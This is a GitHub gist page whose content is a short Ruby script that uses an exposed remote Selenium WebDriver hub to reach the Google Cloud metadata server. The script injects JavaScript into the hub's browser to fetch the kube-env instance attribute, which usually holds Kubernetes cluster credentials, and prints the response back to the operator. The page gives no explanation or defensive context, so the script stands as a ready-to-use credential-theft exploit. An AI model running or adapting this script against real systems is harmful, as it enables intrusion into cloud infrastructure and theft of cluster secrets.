Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save amalmurali47/b868ec24d4ba60927f11c17cdaabab04 to your computer and use it in GitHub Desktop.
Save amalmurali47/b868ec24d4ba60927f11c17cdaabab04 to your computer and use it in GitHub Desktop.

Revisions

  1. @smiegles smiegles renamed this gist Jan 14, 2021. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  2. @smiegles smiegles created this gist Jan 14, 2021.
    40 changes: 40 additions & 0 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,40 @@
    require 'selenium-webdriver'

    @host = "http://metadata.google.internal/computeMetadata/v1/instance/"

    def setup
    @driver = Selenium::WebDriver.for(
    :remote,
    url: 'https://SELENIUM_URL/wd/hub',
    desired_capabilities: :chrome)
    end

    def teardown
    @driver.quit
    end

    def run
    setup
    yield
    teardown
    end

    def script
    return <<-JS
    const Http = new XMLHttpRequest();
    const url='/computeMetadata/v1/instance/attributes/kube-env';
    Http.open("GET", url);
    Http.setRequestHeader('Metadata-Flavor', 'Google')
    Http.send();

    Http.onreadystatechange = (e) => {
    document.write(Http.responseText)
    };
    JS
    end

    run do
    @driver.get @host
    @driver.execute_script(script)
    puts @driver.page_source
    end